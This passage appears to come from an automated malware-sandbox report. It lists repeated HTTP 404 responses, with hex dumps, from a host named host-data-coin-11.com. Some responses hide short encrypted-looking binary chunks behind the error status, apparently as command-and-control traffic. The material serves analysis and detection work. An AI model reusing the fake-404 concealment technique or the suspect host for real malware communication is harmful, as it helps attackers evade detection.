6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:31 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:33 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 66 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 80 49 08 25 01 e5 e9 8d b0 a2 37 0d 0a 30 0d 0a 0d 0a Data Ascii: 1fI:82OI%70
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:34 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 67 5d a4 09 d7 cd 66 c7 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevg]fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:35 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:36 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 46 e8 ae 88 70 bc 57 dd 43 df f9 21 87 26 ec c3 91 50 23 e4 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9FpWC!&P#c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:38 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 32 39 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c0 d7 10 55 3a 40 a9 fe c2 aa b9 01 ac 52 cc 77 f8 0f 11 91 1d f4 0d 0a 30 0d 0a 0d 0a Data Ascii: 29I:82OU:@Rw0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:41 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 62 6e b8 57 df ef 66 b1 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTevbnWfdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:42 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 33 30 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad 9f 1c 4f 8e 93 54 06 65 01 f6 a3 9e fc b9 19 eb 1b db 76 f8 60 4d 87 33 c5 de 66 b2 64 50 06 b9 0d 0a 30 0d 0a 0d 0a Data Ascii: 30I:82OTev`M3fdP0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:47 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:48 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 48 e5 af 8d 70 bc 57 dd 40 d6 f6 2e 84 2a e8 c3 90 53 2e ef a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9HpW@.*S.c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:50 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:51 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 34 36 0d 0a 00 00 d3 92 a0 49 bd 3a 38 32 11 af 01 b5 db ad d6 09 4f c5 86 52 06 26 1a ff b5 98 ff a9 1e ad 12 93 3a f9 55 50 99 4a f7 e0 25 e5 39 1a 49 eb ab 85 70 bc 57 dd 40 d7 fe 26 83 22 eb c3 93 58 28 e3 a8 1d 63 a9 0d 0a 30 0d 0a 0d 0a Data Ascii: 46I:82OR&:UPJ%9IpW@&"X(c0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.20.1Date: Fri, 14 Jan 2022 00:51:56 GMTContent-Type: text/html; charset=utf-8Transfer-Encoding: chunkedConnection: closeData Raw: 31 39 39 0d 0a 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0d 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0d 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 2f 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0d 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 20 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0d 0a 3c 68 72 3e 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 32 39 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 6f 73 74 2d 64 61 74 61 2d 63 6f 69 6e 2d 31 31 2e 63 6f 6d 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 199<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL / was not found on this server.</p><p>Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.</p><hr><address>Apache/2.4.29 (Ubuntu) Server at host-data-coin-11.com Port 80</address></body></html>0
